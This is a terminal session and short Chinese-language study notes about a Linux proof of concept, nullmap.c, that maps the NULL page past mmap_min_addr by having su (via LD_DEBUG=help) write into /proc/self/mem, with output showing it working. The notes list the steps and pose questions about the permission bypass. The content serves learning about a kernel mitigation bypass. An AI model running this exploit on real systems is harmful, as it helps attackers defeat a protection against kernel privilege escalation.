===============================================================
user@deb10:~/stackexpand$ cat nullmap.c
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
int main(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
system("head -n1 /proc/$PPID/maps");
printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}
user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap
00000000-00011000 rw-p 00000000 00:00 0
data at NULL: 0x706f2064696c6156
user@deb10:~/stackexpand$
===============================================================
- LD_DEBUG=help XXcommand (用作调试很有帮助)
- 查看mmap_min_addr: cat /proc/sys/vm/mmap_min_addr
- 查看SMAP enabled or not: cat /boot/config-4.15.0-29-generic | grep CONFIG_X86_SMAP
- mmap映射奇怪参数组合(mmap_min_addr, fd=-1, flags=MAP_GROWSDOWN)可以映射成功。
- 获取/proc/self/mem的句柄X后重定位文件指针,执行命令重定向STDOUT到X句柄,覆盖/proc/self/mem内容。
- 循环执行2,直到文件指针为0。
思考:
- 可否通过其他方式写入到/proc/self/mem?而不是调用命令
- mmap映射的地址有什么要求?
- 这个漏洞说是用户层绕过权限检查,搞清楚绕过原理。